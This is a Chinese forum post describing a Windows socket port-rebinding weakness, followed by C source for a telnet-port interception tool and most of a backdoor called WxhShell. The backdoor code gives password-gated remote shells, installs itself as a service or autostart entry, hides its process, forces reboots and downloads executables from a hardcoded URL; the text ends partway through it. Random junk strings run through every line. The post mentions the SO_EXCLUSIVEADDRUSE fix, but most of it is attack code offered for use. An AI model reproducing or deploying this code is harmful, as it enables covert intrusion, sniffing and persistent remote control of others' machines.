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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 73\JwOn~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z.;ez}6%V  
e-EUf  
  saddr.sin_family = AF_INET; D1=((`v '  
mUik A9u5=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "L&#lfOKG  
/PSd9N*=y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JVSA&c%3  
Jh!I:;/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )`(p9@,V  
#$8% w  
  这意味着什么?意味着可以进行如下的攻击: ", KCCis  
$cU!m(SILQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $arK(  
YF>m$?;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #6HA\dE  
t,+nQ9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VL` z[|e @  
ia+oX~W!VR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HK0! P*  
YOmM=X+'H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7Bd-!$j+  
 KJaXg;,H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yj.7'{mA  
7E79-r&n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~yW4)4k;b  
%/zbgS`  
  #include }%{LJ}\Px  
  #include i\rDu^VQ  
  #include kTu[ y;  
  #include    7 *`h/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GQUe!G9  
  int main() (Fhs"  
  { WGZ9B^A  
  WORD wVersionRequested;  jYmR  
  DWORD ret; n|RJ;d30Q  
  WSADATA wsaData; ORJIo  
  BOOL val; mQ|v26R  
  SOCKADDR_IN saddr; !u[eaLxV  
  SOCKADDR_IN scaddr; _n50C"X=&(  
  int err; `n @*{J8  
  SOCKET s; 6"J? #  
  SOCKET sc; q!u~jI9 j  
  int caddsize; 8"8t-E#?  
  HANDLE mt; b)qoh^  
  DWORD tid;   Ch|jtVeuyJ  
  wVersionRequested = MAKEWORD( 2, 2 ); f$Fhf ?'  
  err = WSAStartup( wVersionRequested, &wsaData ); R5 - @  
  if ( err != 0 ) { P"IPcT%Ob%  
  printf("error!WSAStartup failed!\n"); %u5L!W&  
  return -1; CFMo)"  
  } nG'&ZjA  
  saddr.sin_family = AF_INET; Rnr(g;2  
   Q/(K$6]j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y[)>yq y  
?R$F)g7<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qzKdQ&vO  
  saddr.sin_port = htons(23); 2db3I:;E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZQ%'`q\c  
  {  ~- _kM  
  printf("error!socket failed!\n"); Gi?/C&1T  
  return -1; V)~.~2$  
  } QSdHm  
  val = TRUE; v4`"1Ss,K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AQ,' 6F9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) '$ =>  
  { Mh:L$f0A%O  
  printf("error!setsockopt failed!\n"); l3Q(TH~I  
  return -1; #*K}IBz  
  } 8<pzb}xK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p6#g;$V$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i1NY9br  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g(qJN<R C/  
/v1Q4mq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "4+ &-ms  
  { "/3'XOK|  
  ret=GetLastError(); @s ?  
  printf("error!bind failed!\n"); l1OE!W W  
  return -1; P2BWuh F  
  } +./H6!  
  listen(s,2); "55skmD.P  
  while(1) .f%fHj  
  { Sq/ qu-%X  
  caddsize = sizeof(scaddr); Ln')QN  
  //接受连接请求 Tc>   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8dZSi  
  if(sc!=INVALID_SOCKET) >z{d0{\  
  {  *'.|9W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A}G7l?V&  
  if(mt==NULL) &C, 'x4c"  
  { D[aCsaR  
  printf("Thread Creat Failed!\n"); r3&G)g=u  
  break; *4Thd:7 `  
  } \o}xF@sM5  
  } -3t7*  
  CloseHandle(mt); ]'!f28Ng-  
  } ;4R$g5-4X  
  closesocket(s); d6} r#\  
  WSACleanup(); ]HKQDc'  
  return 0; fHE <(  
  }   S!jTyY7e  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q]Y*K  
  { \r;#g{ _  
  SOCKET ss = (SOCKET)lpParam; Vwg|K|  
  SOCKET sc; L[oui,}_  
  unsigned char buf[4096]; D.B.7-_8  
  SOCKADDR_IN saddr; s @&`f{  
  long num; rdl;M>0@  
  DWORD val; y I HXg#  
  DWORD ret; AK,J7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4IB9 ,?p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p `8 s  
  saddr.sin_family = AF_INET; 0bceI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gn8R[5:!V  
  saddr.sin_port = htons(23); 8'r2D+Vwm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |%F=po>w  
  { tvkb~  
  printf("error!socket failed!\n"); ~("5y G  
  return -1; YIn',]p:  
  } ;(f) &Yom  
  val = 100; .*@;@06?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FOv=!'S o  
  { *W4m3Lq  
  ret = GetLastError(); 9_# >aOqL  
  return -1; 7`- Zuf  
  } J`peX0Stl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3 R=,1<  
  { `YFtL  
  ret = GetLastError(); 4x {0iav  
  return -1; ~bM4[*Q7  
  } wxR,OR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rXmn7;B}g  
  { Jj>?GAir  
  printf("error!socket connect failed!\n"); ciFmaM.  
  closesocket(sc); 4,bv)Im+ `  
  closesocket(ss); oI0M%/aM  
  return -1; *;l]8.  
  } d?s<2RkPT  
  while(1) _7Rr=_1}  
  { <6EeD5{*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gFeO}otm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lz`E;k^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RJL2J]*S  
  num = recv(ss,buf,4096,0); ^ssK   
  if(num>0) gQo]  
  send(sc,buf,num,0); sd,J3  
  else if(num==0) j2Cks_$:  
  break; |8&,b`Gfo  
  num = recv(sc,buf,4096,0); $Z!`Hb  
  if(num>0) V@B__`y7  
  send(ss,buf,num,0); KK1 gNC4R  
  else if(num==0) jlkmLcpf  
  break; o>).Cj  
  } v/Py"hQ  
  closesocket(ss); HTVuStM8  
  closesocket(sc); x*![fK  
  return 0 ; gwOa$f%O  
  } cGtO +DE  
"oTHq]Ku  
33o9Yg|J~  
========================================================== )T/0S$@  
~T ]m>A!  
下边附上一个代码,,WXhSHELL  tR}MrM  
E.r>7`E  
========================================================== j.C`U(n}`  
#D<C )Q  
#include "stdafx.h" k&&2Tq  
V[{6e  
#include <stdio.h> hLI`If/+K  
#include <string.h> ~vXaqCX  
#include <windows.h> ZQ)>s>-  
#include <winsock2.h> W5?yy>S6N  
#include <winsvc.h> 6fd+Q  /  
#include <urlmon.h> ~.A)bp  
jov:]Bic  
#pragma comment (lib, "Ws2_32.lib") ~n[xtWO0  
#pragma comment (lib, "urlmon.lib") r`AuvwHPs[  
N-I5X2  
#define MAX_USER   100 // 最大客户端连接数 m! W3Cwz\&  
#define BUF_SOCK   200 // sock buffer p|Q*5TO  
#define KEY_BUFF   255 // 输入 buffer "Vr[4&`  
k51Eyy50(  
#define REBOOT     0   // 重启 "H&"(=  
#define SHUTDOWN   1   // 关机 F[4;Xq  
B%KG3]  
#define DEF_PORT   5000 // 监听端口 P ~#>H{  
8a_[B~  
#define REG_LEN     16   // 注册表键长度 M.nvB)  
#define SVC_LEN     80   // NT服务名长度 8E8N6  
WHAQu]{  
// 从dll定义API +uBLk0/)>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *loOiM\5a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j S;J:$>^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U,+[5sbo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mo1oyQg8  
<H0R&l\  
// wxhshell配置信息 3SSm5{197  
struct WSCFG { rU;RGz6}  
  int ws_port;         // 监听端口 n!')wIk  
  char ws_passstr[REG_LEN]; // 口令 $5v0m#[^  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]c&<zeX,  
  char ws_regname[REG_LEN]; // 注册表键名 gPu2G/Y  
  char ws_svcname[REG_LEN]; // 服务名 |A%<Z(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }gkM^*$:%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hg9CZM ko  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vsL[*OeI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tX!n sm1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &QG6!`fK}3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i5>+}$1  
+525{Tj  
}; l<Q>N|1#k%  
|7B!^ K  
// default Wxhshell configuration goJ|oi  
struct WSCFG wscfg={DEF_PORT, a=XW[TY1  
    "xuhuanlingzhe", 66#"  
    1, Dfd-^N!  
    "Wxhshell", }Z TGi,P c  
    "Wxhshell", m=Q[\.Ra  
            "WxhShell Service", s/:Fwr4q#a  
    "Wrsky Windows CmdShell Service", `z0{S!  
    "Please Input Your Password: ", )HD`O~M>  
  1, ?0_7?yTR/  
  "http://www.wrsky.com/wxhshell.exe", JbO ~n )%x  
  "Wxhshell.exe" 'xv8Gwf"  
    }; +,v-=~5  
~^ ^ NHq  
// 消息定义模块 s4%(>Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aZKOY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r-kMLw/)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p"*y58  
char *msg_ws_ext="\n\rExit."; CC;! <km  
char *msg_ws_end="\n\rQuit."; 'cNKjL;  
char *msg_ws_boot="\n\rReboot..."; ds[QwcV9-  
char *msg_ws_poff="\n\rShutdown..."; $T<}y_nHl  
char *msg_ws_down="\n\rSave to "; 5efxEt>U  
g(O;{Q_  
char *msg_ws_err="\n\rErr!"; ;WT{|z  
char *msg_ws_ok="\n\rOK!"; H0a/(4/xg  
CzV(cSS9-  
char ExeFile[MAX_PATH]; {F N;'Uc  
int nUser = 0; iqhOi|!  
HANDLE handles[MAX_USER]; G5D2oQa=8  
int OsIsNt; CK_(b"  
* n(> ^  
SERVICE_STATUS       serviceStatus; pium$4l2#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y[O-pD`  
+pH@oFNK  
// 函数声明 Gg\G'QU  
int Install(void); 3`HnLD/  
int Uninstall(void); w(1Gi$Z(Q)  
int DownloadFile(char *sURL, SOCKET wsh); p.fF}B  
int Boot(int flag); ED$DSz)x  
void HideProc(void); BIf^~jAER%  
int GetOsVer(void); ?zq+jLyo  
int Wxhshell(SOCKET wsl); PN$ .X"D8  
void TalkWithClient(void *cs); i`)!X:j  
int CmdShell(SOCKET sock); }.)s%4p8  
int StartFromService(void); O3n_N6| q  
int StartWxhshell(LPSTR lpCmdLine); (#q<\`  
4R>zPEo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o2-@o= F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;r=b|B9c  
b'ml=a#i 0  
// 数据结构和表定义 V 'X;jC  
SERVICE_TABLE_ENTRY DispatchTable[] = f>$h@/-*  
{ &~B5.sppnB  
{wscfg.ws_svcname, NTServiceMain}, ]%RNA:(F'  
{NULL, NULL} P&*sB%B  
}; +VEU:1Gt  
)[&_scSa  
// 自我安装 @\(vX]  
int Install(void) ?IX!+>.H  
{ OlxX.wP  
  char svExeFile[MAX_PATH]; 8_uzpeRhJc  
  HKEY key; o@lWBfB*%e  
  strcpy(svExeFile,ExeFile); 1u]P4Gf=  
,`td@Y  
// 如果是win9x系统,修改注册表设为自启动 4ZT A>   
if(!OsIsNt) { %'L;FPxB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G>T')A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SC#sax4N!=  
  RegCloseKey(key); Jf:,y~mV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Snf"z8sw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jx-wO/  
  RegCloseKey(key); AyE\fY5  
  return 0; (L6Cy% KgV  
    } h3u1K>R)  
  } Q |i9aE  
} IGj`_a  
else { V7=SV:+1or  
j?(!^ _!m  
// 如果是NT以上系统,安装为系统服务 FE5Q?*Ea  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]Ql 0v"` F  
if (schSCManager!=0) dc0@Y  
{ #Gv{UU$]  
  SC_HANDLE schService = CreateService 7CvD'QW /  
  ( #j@OLvXh  
  schSCManager, xc'vS>&  
  wscfg.ws_svcname, (!K+P[g  
  wscfg.ws_svcdisp, ~waNPjPRG  
  SERVICE_ALL_ACCESS, p{;i& HNdp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,8K'F  
  SERVICE_AUTO_START, &m{'nRU}c  
  SERVICE_ERROR_NORMAL, _Sj}~ H  
  svExeFile, ysXx%k  
  NULL, *07sK1wW  
  NULL, OOy}]uYF`  
  NULL, gp< =Gmd  
  NULL, Jj"HpK>[  
  NULL v ahoSc;sw  
  ); @YL}km&Fw  
  if (schService!=0) ~I_owCVZ  
  { BD;H   
  CloseServiceHandle(schService); k&s; {|!  
  CloseServiceHandle(schSCManager); 4L:>4X[T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y8s=\`~PR  
  strcat(svExeFile,wscfg.ws_svcname); -wr(vE,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SN]LeXesS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /8CY0Ey  
  RegCloseKey(key); M'jXve(=yF  
  return 0; sk X]8  
    } ku.A|+Tn  
  } WfVMdwz=  
  CloseServiceHandle(schSCManager); !L\'Mk/=A  
} Rl@$xP  
} &IQ%\W#aY  
yFeeG3 n3  
return 1; emWGIo  
} :1<~}*B@{  
%!W%#U0  
// 自我卸载 J|j;g!fK  
int Uninstall(void) R^{xwI  
{ , {<Fz%  
  HKEY key; ePA;:8)_j  
};SV!'9s?~  
if(!OsIsNt) { Ml`vx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dB)9K)  
  RegDeleteValue(key,wscfg.ws_regname); A@ VaaX  
  RegCloseKey(key); do' ORcZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w~-X>~}  
  RegDeleteValue(key,wscfg.ws_regname); LZV}U*  
  RegCloseKey(key); fv==Gu%{  
  return 0; 1P5LH 5  
  } !J# .!}3  
} /2w@ K_Px6  
} 8-A|C< "  
else { VK4/82@5  
5b fb!7-[i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Kq7C0)23  
if (schSCManager!=0) lPS*-p#IZ  
{ 8A/>JD3^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wm>b3:  
  if (schService!=0) dpn3 (  
  { ak2dn]]D  
  if(DeleteService(schService)!=0) { ADBpX>  
  CloseServiceHandle(schService); cHEz{'1m  
  CloseServiceHandle(schSCManager); 5&(3A|P2  
  return 0; k`@w(HhS  
  } d$Em\*C  
  CloseServiceHandle(schService); =c]a {|W?  
  } )k~1,  
  CloseServiceHandle(schSCManager); msG3 ~@q  
} UT;4U;a,m  
} bX&e_Pd  
;+9(;  
return 1; ^2JPyyZa  
} J";=d4Sd  
-pX|U~a[  
// 从指定url下载文件 jJ-d/"(  
int DownloadFile(char *sURL, SOCKET wsh) >]?Jrs  
{ U#"WrWj  
  HRESULT hr; g-eq&#  
char seps[]= "/"; T0?uC/7H  
char *token; eaxfn]gV  
char *file; fp-m.d:|  
char myURL[MAX_PATH]; oVEAlBm^v  
char myFILE[MAX_PATH]; $owb3g(%4  
N6BNzN}-P  
strcpy(myURL,sURL); G{O\)gf  
  token=strtok(myURL,seps); ;"SZ}  
  while(token!=NULL) bN!u}DnN  
  { wzbz }P>  
    file=token; &/DOO ^  
  token=strtok(NULL,seps); F7V6-V{_  
  } IadK@?X6j  
IO6MK&R  
GetCurrentDirectory(MAX_PATH,myFILE); !c."   
strcat(myFILE, "\\"); H}a)^90_  
strcat(myFILE, file); bkkSIl+Q  
  send(wsh,myFILE,strlen(myFILE),0); 0QMaM  
send(wsh,"...",3,0); ]'6'<S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <oZ(ng@X  
  if(hr==S_OK) _ flg Q  
return 0; o[n<M> @  
else _ Q{T';  
return 1; unJ iE!  
q$|0)}  
} v10mDr  
:+<t2^)rD  
// 系统电源模块 Z$1.^H.Db  
int Boot(int flag) *b:u * `@  
{ K,G,di  
  HANDLE hToken; f%L:<4  
  TOKEN_PRIVILEGES tkp; % kJh6J  
nZ541o@t9  
  if(OsIsNt) { xl|ghjn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $\0TD7p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L%k67>  
    tkp.PrivilegeCount = 1; 98h :X%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XRtyC4f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 87+.pM|t%  
if(flag==REBOOT) { U{HyxZ|q<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WI0QLR'  
  return 0; J-b~4  
} %7iUlO}}V  
else { PIgGXNo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H]VsOr  
  return 0; v^<<[I2 C  
} ]"C| qR*  
  } =.VepX|?D  
  else { K<RmaXZ  
if(flag==REBOOT) {  ^8b~ZX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wEZ,49  
  return 0; &qNP?>C!=  
} b=V)?"e-  
else { Dp%5$wF)8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OY+!aG@.  
  return 0; Q -M rH   
} X77A; US  
} +dDJes!]  
k,a,h^{}j  
return 1; }~myf\$  
} /;zZnF\ e  
czXI?]gg,  
// win9x进程隐藏模块 l0eANB%Y=@  
void HideProc(void) Z'voCWCd  
{ z\X60T  
sx<} tbG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iSnIBs9\  
  if ( hKernel != NULL ) [6Uudiw  
  { ;+S2h-4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }".\ 4B$n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z)C:]}Ex  
    FreeLibrary(hKernel); 3N(8| wh  
  } p=:7 atE  
$xKg }cO  
return; 0L3Bo3:k  
} n,C D4Nv  
'e+-,CGdY\  
// 获取操作系统版本 =g{_^^n  
int GetOsVer(void) sV9{4T~#|  
{ MAsWds`bpB  
  OSVERSIONINFO winfo; j<. <S {  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >WGX|"!"  
  GetVersionEx(&winfo); @\x,;!N@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O[i2A (  
  return 1; 8cYuzt]..  
  else #o(?g-3  
  return 0; X=S}WKu  
} {Sd@u$&  
,*9#c*'S  
// 客户端句柄模块 (hD X4;4  
int Wxhshell(SOCKET wsl) .#:@cP~v  
{ hW*^1%1  
  SOCKET wsh; g4BwKENM  
  struct sockaddr_in client; $g}/T_26  
  DWORD myID; NKIkd  
z9OMC$,V  
  while(nUser<MAX_USER) ":(Cpf0  
{ $=;bccIob  
  int nSize=sizeof(client); K284R=j -&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QrrZF.  
  if(wsh==INVALID_SOCKET) return 1; XY$cx~  
jS5t?0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $w2[5|^S  
if(handles[nUser]==0) g*"J10hyP  
  closesocket(wsh); N@%xLJF=N>  
else l:kE^=6  
  nUser++; h:US]ZC^Z  
  } x r+E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I%VV4,I&pK  
_3FMQY(  
  return 0; p!rG PyGC  
} >E 2WZHzd2  
Hsux>+Q  
// 关闭 socket %Pt[3>  
void CloseIt(SOCKET wsh) unbcz{&Hb[  
{ `gA5P %  
closesocket(wsh); R,(+NT$  
nUser--; ;r2b@x:<_  
ExitThread(0); CM@"lV_  
} SbQ{ >  
ni02N3R  
// 客户端请求句柄 lzQ&)7`  
void TalkWithClient(void *cs) fR{WS:Pv  
{ ":ws~Zep  
=^".{h'-  
  SOCKET wsh=(SOCKET)cs; @Z1?t%1  
  char pwd[SVC_LEN]; nu1w:  
  char cmd[KEY_BUFF]; })yb   
char chr[1]; aV92.Z_Ku  
int i,j; 'E4(!H,k  
\ [hrG?A  
  while (nUser < MAX_USER) { #f jX|b  
)Lv6vnT>  
if(wscfg.ws_passstr) { }~0{1&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [;kj,j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !UPAEA  
  //ZeroMemory(pwd,KEY_BUFF); aV0;WH_3  
      i=0; v2dSC(hRZ  
  while(i<SVC_LEN) { hF{mm(qyv  
L 52z  
  // 设置超时 ,"HpV  
  fd_set FdRead; n B|C-.F  
  struct timeval TimeOut; ROI$;B(  
  FD_ZERO(&FdRead); 4tN~UMw?  
  FD_SET(wsh,&FdRead); ^,\se9=(  
  TimeOut.tv_sec=8; H"Em|LX^  
  TimeOut.tv_usec=0; :fMM-?s]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rO2PbF3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fe]T9EDA  
^dp[ Z,[1z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9"l%tq_  
  pwd=chr[0]; 9i xnf=$Jp  
  if(chr[0]==0xd || chr[0]==0xa) { 5Qe}v  
  pwd=0; +\]S<T*;  
  break; I[YfF  
  } F^[Rwzv>c  
  i++; U S~JLJI  
    } ,HjHt\!~<  
/)HEx&SQmZ  
  // 如果是非法用户,关闭 socket z8MpE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -ZMl[;OM  
} <H(AS'  
# v/aI*Rl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Pp")hFx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Szob_IEq,  
RI].LB_  
while(1) { Tr+Y@]"  
os0"haOI9h  
  ZeroMemory(cmd,KEY_BUFF); l[ OQo|_  
)I1V 2k$n  
      // 自动支持客户端 telnet标准   m+JGe5fR<  
  j=0; Mdq'> <ajL  
  while(j<KEY_BUFF) { N_~Wu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v,O&UrZ  
  cmd[j]=chr[0]; 4iB)oR  
  if(chr[0]==0xa || chr[0]==0xd) { 8*X L19N  
  cmd[j]=0; d(cYtM,P  
  break; r:b.>5CS)  
  } {Eb2<;1o{  
  j++; $2Tty 7  
    } r_2VExk  
~ 8qFM  
  // 下载文件 '[M2Q"X  
  if(strstr(cmd,"http://")) { GVPEene  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !N2 n@bo  
  if(DownloadFile(cmd,wsh)) AI`1N%Owi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v6(l#,  
  else A-NC,3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \y+F!;IxL  
  } +=F);;!  
  else { :=fHPT  
2tTV5,(1  
    switch(cmd[0]) { ^.aEKr  
  oHGf |  
  // 帮助 *v-xC5L1\  
  case '?': { GAe_Z( T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4zvU"np  
    break; F;l<>|vG  
  } z[I/ AORl  
  // 安装 ,}$x'8v  
  case 'i': { 5Ddyb%  
    if(Install()) Q14;G<l-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I.0Usa"z  
    else q>h+Ke  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y  .X-8  
    break; Ptxc9~k  
    } P<oD*C  
  // 卸载 &Fr68HNmj  
  case 'r': { fXR_)d  
    if(Uninstall()) )=y6s^}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U\plt%2m>  
    else s.Ic3ITd,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 15yV4wHr  
    break; F973U  
    } <qZ+U4@I)  
  // 显示 wxhshell 所在路径 "U~@o4u;  
  case 'p': { <cd%n-  
    char svExeFile[MAX_PATH]; (4gQe6tA  
    strcpy(svExeFile,"\n\r"); <Gt{(is  
      strcat(svExeFile,ExeFile); |L#r)$n{1  
        send(wsh,svExeFile,strlen(svExeFile),0); 6aK2 {-+  
    break; tWy<9TF  
    } ty8!"-V1  
  // 重启 JH,fg K+[  
  case 'b': { m|?J^_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mAERZ<I  
    if(Boot(REBOOT)) T[II;[EiE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :9< r(22  
    else { Q/SC7R&"t  
    closesocket(wsh); 6R,b 8  
    ExitThread(0); YuuG:Kk  
    } "+C\f)  
    break; y^fU_L?p  
    } sX?7`n1U  
  // 关机 UjK&`a ;V  
  case 'd': { ^d=@RTyo/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gDBQ\vM8  
    if(Boot(SHUTDOWN)) > %*X2'^  
